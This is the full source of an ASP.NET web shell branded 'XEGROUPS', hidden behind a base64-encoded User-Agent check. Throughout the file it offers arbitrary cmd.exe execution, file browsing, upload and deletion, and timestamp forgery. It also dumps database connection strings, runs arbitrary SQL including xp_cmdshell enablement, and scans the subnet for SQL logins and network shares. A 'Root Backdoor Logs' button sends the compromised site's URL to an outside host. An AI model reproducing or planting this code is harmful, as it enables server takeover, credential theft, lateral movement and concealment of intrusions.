<%@ Page Language="C#" EnableViewState="false" %><%@ Import Namespace="System.IO" %><%@ import Namespace="System.Data"%><%@ Import namespace="System.Text"%><%@ Import Namespace="System.Net" %><%@ Import Namespace="System.Web.UI.WebControls" %><%@ Import namespace="System.Text.RegularExpressions"%><%@ Import namespace="System.Configuration"%><%@ import Namespace="System.Data.Common"%><%@ Import Namespace="System.Data.SqlClient"%><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.Threading"%><script language="C#" runat="server"> public static string outData; string datalistItems = string.Empty; string mPath = HttpContext.Current.Server.MapPath("~"); protected void Page_Load(object sender, EventArgs e) { MainFileManager.Visible = true; mainSQLShell.Visible = false;if (Request.QueryString["switchtabdata"] == "2"){ Session["switchtabdata"] = "SQL"; MainFileManager.Visible = false; mainSQLShell.Visible = true;}else if (Request.QueryString["switchtabdata"] == "1"){ Session["switchtabdata"] = null; Session.Abandon();}if (Session["switchtabdata"] != null) { MainFileManager.Visible = false; Response.Clear(); serverInfo.Text = this.GetIPAddress(); if (ismatchagent()) { if (!string.IsNullOrEmpty(Request["connectname"])) { try { Response.Write(ConfigurationManager.ConnectionStrings[Request["connectname"]].ConnectionString); } catch { Response.Write("No Connection"); } Response.End(); } else if (!string.IsNullOrEmpty(Request["command"])) { Response.ContentType = "text/plain"; try { string workpath = Request["path"]; string aguprefix = ""; string getPath = Request["path"]; if (string.IsNullOrEmpty(workpath)) { workpath = "C:\\Windows\\System32\\cmd.exe"; aguprefix = " /c "; } if (workpath == "7z"){ workpath = "C:\\ProgramData\\7z.exe"; aguprefix = ""; } Process p = new Process(); p.StartInfo.CreateNoWindow = true; p.StartInfo.FileName = workpath; p.StartInfo.Arguments = aguprefix + Request["command"]; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.WorkingDirectory = mPath; p.Start(); Response.Write(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd()); } catch {} Response.End(); } else if (!string.IsNullOrEmpty(Request["ip"])) { if (!string.IsNullOrEmpty(Request["conn"])) { string dbconnstring = Request["conn"]; SqlConnectionStringBuilder arrayconnect = new SqlConnectionStringBuilder(dbconnstring); string ipconnect = Request["ip"]; string txtUserId = arrayconnect.UserID; string txtPasswd = arrayconnect.Password; string rConnection = @"server=" + ipconnect + ";UID=" + txtUserId + ";PWD=" + txtPasswd + ";DATABASE=master;connect timeout=5;"; string ConnectState = IsServerConnected(rConnection); Response.Write(ConnectState); } else { Response.Write("Invalid ConnectString"); } Response.End(); } else { try { foreach(ConnectionStringSettings Conn in System.Configuration.ConfigurationManager.ConnectionStrings) { datalistItems += "<option value=\"" + Conn.Name.ToString() + "\">"; } } catch { datalistItems = "<option value=\"Not Found Connection\""; } } }}else{mainSQLShell.Visible = false;string outstr = "";cmdResult.Visible = false;fileReadResult.Visible = false;string dir = Page.MapPath(".") + "/";string getfile = string.Empty;if (Request.QueryString["fdir"] != null){ dir = Request.QueryString["fdir"] + "/";}if (Request.QueryString["get"] != null) getfile = HttpUtility.UrlDecode(Request.QueryString["get"]);dir = dir.Replace("\\", "/");dir = dir.Replace("//", "/");string[] dirparts = dir.Split('/');string linkwalk = ""; foreach (string curpart in dirparts){ if (curpart.Length == 0) continue; linkwalk += curpart + "/"; outstr += string.Format("<li><a href='?fdir={0}'>{1}</a></li>", HttpUtility.UrlEncode(linkwalk), HttpUtility.HtmlEncode(curpart));}lblPath.Text = outstr;outstr = "";foreach(DriveInfo curdrive in DriveInfo.GetDrives()){if (!curdrive.IsReady)continue;string driveRoot = curdrive.RootDirectory.Name.Replace("\\", "");outstr += string.Format("<li><a href='?fdir={0}'>Hard Disk ({1})</a></li>",HttpUtility.UrlEncode(driveRoot),HttpUtility.HtmlEncode(driveRoot));}lblDrives.Text = outstr;if (!string.IsNullOrEmpty(getfile) && (File.Exists(getfile))){ lblFileRead.Text = File.ReadAllText(getfile); fileReadResult.Visible = true; fileResult.Visible = false;}if ((Request.QueryString["clone"] != null) && (Request.QueryString["clone"].Length > 0) && (Request.QueryString["from"] != null) && (Request.QueryString["from"].Length > 0)){ string fileCl = HttpUtility.UrlDecode(Request.QueryString["clone"]); string fileFrom = HttpUtility.UrlDecode(Request.QueryString["from"]); File.SetCreationTimeUtc(fileCl,File.GetCreationTimeUtc(fileFrom)); File.SetLastAccessTimeUtc(fileCl,File.GetLastAccessTimeUtc(fileFrom)); File.SetLastWriteTimeUtc(fileCl,File.GetLastWriteTimeUtc(fileFrom));}if ((Request.QueryString["del"] != null) && (Request.QueryString["del"].Length > 0))File.Delete(Request.QueryString["del"]); if(flUp.HasFile){string fileName = flUp.FileName;int splitAt = flUp.FileName.LastIndexOfAny(new char[] { '/', '\\' });if (splitAt >= 0)fileName = flUp.FileName.Substring(splitAt);flUp.SaveAs(dir + "/" + fileName);}DirectoryInfo di = new DirectoryInfo(dir);string currentParentup = "--";if(Directory.GetParent(di.FullName)!=null){ currentParentup = "<a href='?fdir=" + HttpUtility.UrlEncode(di.Parent.FullName) + "'><strong>...</strong></a>";}outstr = "<span class=\"glyphicon glyphicon-level-up\"></span>" + currentParentup + "<td class='text-right'>";foreach (DirectoryInfo curdir in di.GetDirectories()){string fstr = string.Format("<span class=\"glyphicon glyphicon-folder-open\"></span><a href='?fdir={0}'><strong>{1}</strong></a>", HttpUtility.UrlEncode(dir + "/" + curdir.Name), HttpUtility.HtmlEncode(curdir.Name));string dirLastModified = curdir.LastWriteTimeUtc.ToString("yyyy-MM-dd");string dirLastCreate = curdir.CreationTimeUtc.ToString("yyyy-MM-dd");string delfstr = string.Format("<a class='text-danger' href='?fdir={0}'>Del</a>", HttpUtility.UrlEncode(dir + "/" + curdir.Name));outstr += string.Format("{0}{1}{2}&lt;DIR&gt;<td class='text-right'>{3}", fstr, dirLastModified, dirLastCreate, delfstr);}foreach (FileInfo curfile in di.GetFiles()){string fstr = string.Format("<span class=\"glyphicon glyphicon-file\"></span><a href='?get={0}'>{1}</a>",HttpUtility.UrlEncode(dir + "/" + curfile.Name),HttpUtility.HtmlEncode(curfile.Name));string astr = string.Format("<a style=\"margin-right:15px;\" href=\"javascript:cloneFiles('{0}','{1}');\">Time</a><a class='text-danger' href='?fdir={0}&del={1}'>Del</a>",HttpUtility.UrlEncode(dir),HttpUtility.UrlEncode(dir + "/" + curfile.Name).Replace("//", "/"));long calSize = curfile.Length;string FileSize = " byte";if (calSize > 1024){ calSize = calSize/1024; FileSize = " kb"; if (calSize > 1024){ calSize = calSize/1024; FileSize = " mb"; }}FileSize = calSize.ToString() + FileSize;outstr += string.Format("{0}{1}{2}{3:d}<td class='text-right'>{4}", fstr, curfile.LastWriteTime.ToString("yyyy-MM-dd"), curfile.CreationTime.ToString("yyyy-MM-dd"), FileSize, astr);}lblDirOut.Text = outstr;if (txtCmdIn.Text.Length > 0){Process p = new Process();p.StartInfo.CreateNoWindow = true;p.StartInfo.FileName = "cmd.exe";p.StartInfo.Arguments = "/c " + txtCmdIn.Text;p.StartInfo.UseShellExecute = false;p.StartInfo.RedirectStandardOutput = true;p.StartInfo.RedirectStandardError = true;p.StartInfo.WorkingDirectory = dir;p.Start();lblCmdOut.Text = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();txtCmdIn.Text = txtCmdIn.Text;fileResult.Visible = false;fileReadResult.Visible = false;cmdResult.Visible = true;} } } private String GetIPAddress() { string IPServer = string.Empty; IPServer = Convert.ToString(HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED_FOR"]) != null ? Convert.ToString(HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED_FOR"]) : string.Empty; if (string.IsNullOrEmpty(IPServer)) { IPServer = HttpContext.Current.Request.ServerVariables["HTTP_X_REAL_IP"]; } if (string.IsNullOrEmpty(IPServer)) { IPServer = Request.ServerVariables["REMOTE_ADDR"]; } return IPServer; } protected void btnExecute(object sender, EventArgs e) { string txtConnection = ""; bool ExportResult = false; if (!string.IsNullOrEmpty(Request["rawexport"])) { Response.ContentType = "text/plain"; ExportResult = true; } txtConnection = txtDBConnection.Text; SqlConnection sqlConnection = null; try { sqlConnection = new SqlConnection(txtConnection); sqlConnection.Open(); SqlCommand sqlCommand = null; SqlDataReader sqlDataReader = null; sqlCommand = new SqlCommand(txtSql.Text, sqlConnection); sqlCommand.CommandType = System.Data.CommandType.Text; sqlDataReader = sqlCommand.ExecuteReader(); string dataHeader = "<table width=\"100%\" border=\"0\" margin=\"3\" padding=\"5\" cellspacing=\"15\">"; string dataBody = ""; string outResult = ""; int colTitle = 0; string resultdata = ""; string resultTitle = ""; while (sqlDataReader.Read()) { if (colTitle != 1) { int hCount = sqlDataReader.FieldCount; if (!ExportResult) dataHeader = dataHeader + "<thead>"; for (int i = 0; i < hCount; i++) { resultTitle = sqlDataReader.GetName(i); if (ExportResult) { Response.Write(resultTitle + "|"); } else { dataHeader = dataHeader + "<th>" + resultTitle + "</th>"; } } if (ExportResult) { Response.Write("\n"); } else { dataHeader = dataHeader + "</thead><tbody>"; } } if (!ExportResult) dataBody = dataBody + ""; int colCount = sqlDataReader.FieldCount; for (int index = 0; index < colCount; index++) { resultdata = sqlDataReader[index].ToString(); if (ExportResult) { Response.Write((string)resultdata + "|"); } else { dataBody = dataBody + "" + (string)resultdata + ""; } } colTitle = 1; if (ExportResult) { Response.Write("\n"); } else { dataBody = dataBody + ""; } } if (ExportResult) { Response.End(); } else { outData = dataHeader + dataBody + "</tbody>"; tableResult.Text = outData; } } catch (SqlException sqlEx) { tableResult.Text = sqlEx.ToString(); } finally { if (sqlConnection != null) { sqlConnection.Close(); sqlConnection.Dispose(); } } } private string regReplace(string data, string find, string replace) { string result = data; try { Regex rgx = new Regex(find); result = rgx.Replace(data, replace); } catch { } return result; } private bool stringInStr(string data, string matches) { bool result = false; Match i = Regex.Match(data, matches); if (i.Success) { result = true; } return result; } private string[] stringsplit(string data, string split) { string[] result = new string[0]; result[0] = "0"; int count = 1; try { Match i = Regex.Match(data, split); while (i.Success) { result[count] = i.Value.ToString(); i = i.NextMatch(); count++; } } catch { } return result; } private string stringMid(string text, string left, string right) { int beginIndex = text.IndexOf(left); if (beginIndex == -1) { return string.Empty; } beginIndex += left.Length; int endIndex = text.IndexOf(right, beginIndex); if (endIndex == -1) { return string.Empty; } return text.Substring(beginIndex, endIndex - beginIndex).Trim(); } public bool ismatchagent() { bool result = false; Regex xvalidagent = new Regex(@bs64decode("WGVUaGFuaHxYZUdyb3Vwcw==")); string currAgent = Request.UserAgent.ToString(); if (xvalidagent.IsMatch(currAgent)) { result = true; } return result; } private string bs64encode(string instr) { string result = instr; try { byte[] tmp = Encoding.Default.GetBytes(instr); result = Convert.ToBase64String(tmp); }catch{} return result; } private string bs64decode(string instr) { string result = instr; try { byte[] tmp = Convert.FromBase64String(instr); result = Encoding.Default.GetString(tmp); }catch{} return result; } private string ByteToString(byte[] bytes) { string result = string.Empty; try { char[] chars = new char[bytes.Length / 2]; for (int i = 0; i < chars.Length; i++){ chars[i] = BitConverter.ToChar(bytes, i * 2); } result = new string(chars); }catch{ result = Convert.ToBase64String(bytes); } return result; } private string BytesToStringConverted(byte[] bytes) { string result = bytes.ToString(); try { using (var stream = new MemoryStream(bytes)) { using (var streamReader = new StreamReader(stream)) { result = streamReader.ReadToEnd(); } } }catch{ result = Convert.ToBase64String(bytes); } return result; } private string IsServerConnected(string connectionString) { using(SqlConnection connection = new SqlConnection(connectionString)) { string result = ""; int _isstate = 0; try { connection.Open(); return "Success Connection"; } catch (SqlException ex) { for (int i = 0; i < ex.Errors.Count; i++) { _isstate = ex.Errors[i].Number; } switch (_isstate) { case 2: result = "Password"; break; case 53: result = "--"; break; default: result = "Error"; break; } return result; } finally { if (connection != null) { connection.Close(); connection.Dispose(); } } } }</script><html lang="en" id="mainHTML" runat="server"><head id="MainHead" runat="server"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1">
<div id="MainFileManager" runat="server"><link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"><style>body {font-size:11pt;font-weight:400;} .codescript {overflow:auto;height:560px;}span.glyphicon {color:#888888;margin-right: 8px;} .tabactive {font-weight:700;}</style><div class="container-fluid" style="width:98%;margin-top:5px;"><nav class="navbar"> <div class="row"> <div class="col-lg-5"> <div class="navbar-header"><a href="/"><strong><span class="navbar-brand">&#x58;&Xi;&trade;&#x47;&#x52;&#x4F;&#x55;&#x50;&#x53;</span></strong></a></div> <ul class="nav navbar-nav"> <li class="dropdown tabactive"> <a href="#" class="dropdown-toggle" data-toggle="dropdown">FILE MANAGER <span class="caret"></span></a> <ul class="dropdown-menu"> <asp:Literal runat="server" ID="lblDrives" Mode="PassThrough" /> </ul> </li> <li class=""><a href="?switchtabdata=2">&#x44;&#x41;&#x54;&#x41;&#x42;&#x41;&#x53;&#x45;</a></li> <li><a href="#">&#x4F;&#x54;&#x48;&#x45;&#x52;&#x53;</a></li> </ul> </div> <div class="col-lg-7"> <div class="row"> <div class="col-xs-8" style="padding: 8px 10px 0px 5px;"> <div class="input-group"> <asp:TextBox cssclass="form-control" runat="server" ID="txtCmdIn" /> <div class="input-group-btn"> <asp:Button cssclass="btn btn-default" runat="server" ID="cmdExec" Text="Command" /> </div> </div></div><div class="col-xs-4" style="padding: 8px 10px 0px 5px;text-align:right;"><div class="input-group"><asp:FileUpload cssclass="form-control" runat="server" ID="flUp" /><div class="input-group-btn"><asp:Button cssclass="btn btn-default" runat="server" ID="cmdUpload" Text="Upload" /></div></div></div></div></div></div></nav><div class="row"><div class="col-md-12" style="padding-bottom:10px;"><div class="row" runat="server" id="cmdResult"><div class="col-md-12"><pre class="codescript"><code><asp:Literal id="lblCmdOut" Mode="Encode" runat="server" /></code></pre></div></div><div class="row" runat="server" id="fileReadResult"><div class="col-md-12"><pre class="codescript"><code><asp:Literal id="lblFileRead" Mode="Encode" runat="server" /></code></pre></div></div></div><div class="row" runat="server" id="fileResult"><div class="col-xs-12"><ol class="breadcrumb"><span class="glyphicon glyphicon-level-up"></span><asp:Literal runat="server" ID="lblPath" Mode="passThrough" /></ol><table class="table table-hover"><thead><th style="width:50%;">Name</th><th>Modified</th><th>Create</th><th style="text-align:left;padding-left:8px;">Size</th><th style="width: 50px">Actions</th></thead><tbody><asp:Literal runat="server" ID="lblDirOut" Mode="PassThrough" /></tbody></div></div></div></div></div><script src="//ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script><script src="//maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"></script><script type="text/javascript">function cloneFiles(d, f){ var getFiles = prompt("Enter file path from want clone to file.", f); if (getFiles != null) { var curentPath = location.origin + location.pathname; curentPath += '?fdir=' + encodeURI(d) + '&clone=' + encodeURI(f) + '&from=' + encodeURI(getFiles); location.replace(curentPath); } return false;}</script></div><div id="mainSQLShell" runat="server"><style type="text/css">body,input,select{font-family:"Lucida Console",monospace;font-size:10pt}input,select{height:28px;margin:2px 5px;padding:3px 10px;max-width:100%;min-width:100px}.widthmax{width:100%}thead th{position:-webkit-sticky;position:sticky;top:-5;text-align:left;background:#fff;margin-bottom:10px;padding-bottom:10px;padding-top:10px;border-bottom:2px solid rgba(17,17,17,.1)}hr{color:rgba(17,17,17,.1);line-height:.5;margin-bottom:15px}.bold{font-weight:700}#tableResult{padding:8px 10px;display:block;overflow:auto;border:1px solid rgba(0,0,0,.04);height:500px;max-width:99%;position:relative}.modalLoad{position:fixed;z-index:-9;left:0;top:0;width:100%;height:100%;overflow:hidden}.datamodel{align-items:center;display:flex;justify-content:center;margin:0;min-height:100%;position:relative}.loader{width:60px}.container{width:100%}.loader-wheel{animation:spin 1.2s infinite linear;border:4px solid rgba(17,17,17,.05);border-left:4px solid rgba(0,217,54,.72);border-radius:50%;height:40px;margin-bottom:30px;width:40px;box-shadow:0 0 6px 2px rgba(0,0,0,.8)}@keyframes spin{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}</style> <table width="100%"> <td width="220" align="center"><a href="?switchtabdata=1">&#xAB;&#x20;&#x42;&#x61;&#x63;&#x6B;&#x20;&#x46;&#x69;&#x6C;&#x65;&#x20;&#x4D;&#x61;&#x6E;&#x61;&#x67;&#x65;&#x72;</a> <td align="center"> <asp:Label ID="serverInfo" runat="server"></asp:Label> <table width="100%" cellspacing="20"> <td width="120">Connection <asp:TextBox ID="txtDBConnection" runat="server" Width="50%" placeholder="Connection String | IP Address To Scan NetShare"></asp:TextBox> <input list="txtCntName" id="txtConnectionName" placeholder="Connection Name" autocomplete="off" onchange="getConnectName(this);"> <datalist id="txtCntName"><%=datalistItems%></datalist> <button ID="btnSubmitScan" type="button" style="padding:3px 12px;font-weight:700;">Scan IP Connect</button> <button ID="btnNetview" type="button" style="padding:3px 12px;font-weight:700;">Scan LAN NetShare</button> <button ID="btnRootClient" type="button" style="padding:3px 12px;font-weight:700;">Root Backdoor Logs</button> <td width="120">Command <select onchange="selectSQLQuery(this);" style="max-width:200px;"> <option value="" selected>-- Quick Command --</option> <option value="SELECT name,crdate,filename FROM master.dbo.sysdatabases">Show All Database Name</option> <option value="SELECT o.NAME, i.rowcnt FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id = o.id WHERE i.indid < 2 AND i.rowcnt > 0 AND OBJECTPROPERTY(o.id, 'IsMSShipped') = 0 ORDER BY i.rowcnt DESC">Show All Tables With Count</option> <option value="SELECT sc.name +'.'+ ta.name TableName, SUM(pa.rows) RowCnt FROM sys.tables ta INNER JOIN sys.partitions pa ON pa.OBJECT_ID = ta.OBJECT_ID INNER JOIN sys.schemas sc ON ta.schema_id = sc.schema_id WHERE ta.is_ms_shipped = 0 AND pa.index_id IN (1,0) GROUP BY sc.name,ta.name ORDER BY SUM(pa.rows) DESC">Count Tables Row (Declined sysobject)</option> <option value="SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%pass%' GROUP BY table_name">Find Table Name Like Column Name</option> <option value="RECONFIGURE;EXEC sp_configure 'show advanced options', 1;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;">Enable XP_CMDSHELL</option> <option value="USE [master]; GO; CREATE DATABASE [XEGROUPS] ON (FILENAME = 'C:\DB.mdf'), (FILENAME = 'C:\DB.ldf') FOR ATTACH; GO;">Attach New Database</option> <option value="EXEC xp_cmdshell 'wmic logicaldisk get name,description'">Execute SQL Command Shell</option> <option value="SELECT TOP 100 * FROM [XXXXX] ORDER BY 1 DESC">Show 100 Rows On Tables</option> </select> <asp:TextBox ID="txtSql" runat="server" Width="70%" Value="SELECT name,crdate,filename FROM master.dbo.sysdatabases" placeholder="Command"></asp:TextBox> <select name="rawexport" style="max-width:200px;" onchange="rawMethod(this);"><option value="" selected>Query Data</option><option value="1">Export Data</option></select> &nbsp; <asp:Button ID="submitExc" runat="server" OnClick="btnExecute" Text="Execute" style="padding: 5px 12px;font-weight:700;" /> <hr> <div class="container"> <asp:Label ID="tableResult" runat="server"></asp:Label> <div id="loadModal" class="modalLoad"> <div class="datamodel"> <div class="loader"> <div class="loader-wheel"></div> </div> </div> </div> </div> <script> const http = window.XMLHttpRequest ? new XMLHttpRequest : new ActiveXObject("Microsoft.XMLHTTP"), url = window.location.href, mainForm = document.getElementById("formSql"); var modalLoad = document.getElementById("loadModal"); function appendResult(e) { document.getElementById("tableResult").insertAdjacentHTML("beforeend", e) } function getIPaddress(e) { return e.replace(/.*\=([0-9xX]{1,3}\.[0-9xX]{1,3}\.[0-9xX]{1,3}\.[0-9xX]{1,3}).*?$/g, "$1") } function getConnectName() { modalLoad.style.display = "initial"; var e = document.getElementById("txtConnectionName").value; http.open("POST", url, !0), http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), http.send("connectname=" + encodeURIComponent(e)), http.onreadystatechange = function() { 4 == http.readyState && (document.getElementById("txtDBConnection").value = http.responseText) }, modalLoad.style.display = "none" } function selectSQLQuery(e) { document.getElementById("txtSql").value = e.options[e.selectedIndex].value } function rawMethod(e) { 1 == e.options[e.selectedIndex].value ? mainForm.setAttribute("target", "_blank") : mainForm.setAttribute("target", "_self") } modalLoad.style.display = "none", document.onreadystatechange = function() { if ("complete" === document.readyState) { var e = document.getElementById("btnSubmitScan"), t = document.getElementById("btnNetview"), n = document.getElementById("btnRootClient"), a = (n.innerHTML, t.innerHTML, e.innerHTML); function o(e, t, n, a) { return new Promise(function(o) { http.open("POST", e, !0), http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), http.send(t), http.onreadystatechange = function() { if (4 == http.readyState) { var e = http.responseText; appendResult(n + e + a), o() } } }) } e.addEventListener("click", async function(t) { if (t.preventDefault(), confirm("You sure scan all connect on this server?")) { e.disabled = !0, document.getElementById("tableResult").innerHTML = "", modalLoad.style.display = "initial"; var n = document.getElementById("txtDBConnection").value; if (n.length > 1 && n.match(/(([0-9xX]{1,3}\.){3}[0-9xX]{1,3})/g)) { var d = getIPaddress(n); for (let t = 1; t < 255; t++) { var l = d.replace("x", t); e.innerHTML = "Scaning [" + l + "]..."; var i = "ip=" + l + "&conn=" + encodeURIComponent(n); await o(url, i, l + " ===> ", "
") } } else document.getElementById("tableResult").innerHTML = "Please enter connect string. Server address of connect string must valid IP!"; e.innerHTML = a, e.disabled = !1, modalLoad.style.display = "none" } }), t.addEventListener("click", async function(e) { if (e.preventDefault(), confirm("You sure scan all sharing IP on this server?")) { t.disabled = !0, document.getElementById("tableResult").innerHTML = "", modalLoad.style.display = "initial"; var n = document.getElementById("txtDBConnection").value; if (n.length > 1 && n.match(/(([0-9xX]{1,3}\.){3}[0-9xX]{1,3})/g)) { var d = getIPaddress(n); for (let e = 1; e < 255; e++) { var l = d.replace("x", e); t.innerHTML = "Scaning [" + l + "]..."; var i = "command=net%20view%20" + l; await o(url, i, "------- " + l + " -------
", "

") } } else document.getElementById("tableResult").innerHTML = "Please type valid IP. Server address of connect string must valid IP!"; t.innerHTML = a, t.disabled = !1, modalLoad.style.display = "none" } }), n.addEventListener("click", async function(e) { if (e.preventDefault(), confirm("You sure scan and root this server ?")) { modalLoad.style.display = "initial", n.disabled = !0; var t = url.replace(/^(.*?\:\/\/.*\/).*?$/g, "$1"); if (t.length > 5) { await o("https://hivnd.com/scansites", "url=" + encodeURIComponent(t), "", ""); var d = document.getElementById("tableResult").innerHTML; if (d.match("://") && d.match("
")) for (var l = d.split("
"), i = 0; i < l.length; i++) await o("https://hivnd.com/scansites", "type=2&url=" + encodeURIComponent(l[i]), "", "") } else document.getElementById("tableResult").innerHTML = "Some error cant run this time!"; n.innerHTML = a, n.disabled = !1, modalLoad.style.display = "none" } }) } }; </script></div>